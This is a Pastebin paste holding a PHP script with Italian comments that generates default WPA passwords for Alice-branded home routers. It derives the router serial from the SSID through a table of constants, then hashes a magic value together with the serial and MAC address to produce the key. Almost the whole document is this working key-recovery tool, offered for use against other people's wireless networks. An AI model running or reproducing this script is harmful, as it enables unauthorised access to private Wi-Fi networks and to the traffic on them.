Advertisement
Guest User

Untitled

a guest
Sep 21st, 2017
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.16 KB | None | 0 0
  1. <?php
  2. /* tabella da apmpliare */
  3. $SN_TABLE   = array( '96' => array( '69102', 13, 96017051 ),
  4.                      '93' => array( '69101', 13, 92398366 ),
  5.                      '56' => array( '67902', 13, 54808800 ),
  6.                      '55' => array( '67904', 8,  55164449 ),
  7.                      '54' => array( '67903', 8,  52420689 ),
  8.                      '48' => array( '67903', 8,  47896103 ),
  9.                      '46' => array( '67902', 13, 39015145 ) );
  10.                      
  11. /* Numeri da utilizzare per il calcolo dell'SHA256. */
  12. $ALIS       = "\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8";
  13.  
  14. /* Tabella di conversione da hash a wpa. */
  15. $CONV_TABLE = "0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuv".
  16.               "wxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123";
  17. /* SSID della rete. */
  18. $SSID       = "Alice-96000000";
  19.  
  20. /* MAC address del router. */
  21. $MAC        = "\x90\x90\x90\x90\x90\x90";
  22.  
  23. /* Calcolo del seriale in base al SSID e alla tabella dei valori noti. */
  24. $SN         = SSID2SN($SSID);
  25.  
  26. /* Calcolo SHA256( MagicN + SN + MAC ) */
  27. $hash       = SHA256( $ALIS.$SN.$MAC );
  28.  
  29. /* Converto la stringa dell'hash in un array di byte. */
  30. $bytes      = hash2bytes($hash);
  31.  
  32. /* Trovo la WPA utilizzando i primi 24 byte dell'hash come indici della tabella di covnersione. */
  33. $wpa   = "";
  34. for( $i = 0; $i < 24; $i++ ){
  35.     $wpa .= $CONV_TABLE[ $bytes[$i] ];
  36. }
  37.  
  38. /* Stampo la wpa trovata. */
  39. echo "WPA : $wpa\n";
  40.  
  41. /* Funzione per risalire al seriale del router partendo dal suo SSID e utilizzando le tabelle dei valori noti. */
  42. function SSID2SN( $ssid ){
  43.     global $SN_TABLE;
  44.    
  45.     /* Prelevo il numero intero dall'SSID e ne prendo le prime due cifre per verificare che il router sia presente nella tabella. */
  46.     preg_match_all( "/^Alice-([0-9]+)/", $ssid, $m );
  47.  
  48.     $ssidn = $m[1][0];
  49.     $id    = substr( $ssidn, 0, 2 );
  50.  
  51.     if( isset( $SN_TABLE[$id] ) ){
  52.         /* Il router è presente nella tabella, prelevo la prima parte del seriale e le costanti k e Q da utilizzare nell'equazione finale. */
  53.  
  54.         $sn1 = $SN_TABLE[$id][0];
  55.         $k   = $SN_TABLE[$id][1];
  56.         $Q   = $SN_TABLE[$id][2];
  57.  
  58.         /* La seconda parte del seriale equivale a : (SSID - Q) / k */
  59.         $sn2 = ((int)$ssidn - $Q) / $k;
  60.        
  61.         /* Restituisco il seriale completo. */
  62.         return $sn1.'X'.sprintf( "%07s", $sn2 );
  63.     }
  64.    
  65.     /* Router non presente nella tabella. */
  66.     else{
  67.         die( "La serie 'Alice-$id******' non è presente nella tabella quindi non è supportata.\n" );
  68.     }
  69. }
  70.  
  71. /* Funzione per il calcolo di un hash SHA256. */
  72. function SHA256( $phrase ){
  73.     return bin2hex( mhash( MHASH_SHA256, $phrase ) );
  74. }
  75.  
  76. /* Funzione per convertire un hash in un array di byte interi. */
  77. function hash2bytes( $hash ){
  78.     preg_match_all( "/[a-f0-9]{2}/i", $hash, $hash_bytes );
  79.     $bytes = array();
  80.     foreach( $hash_bytes[0] as $byte ){
  81.         $bytes[] = hexdec($byte);
  82.     }
  83.    
  84.     return $bytes;
  85. }
  86.  
  87. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement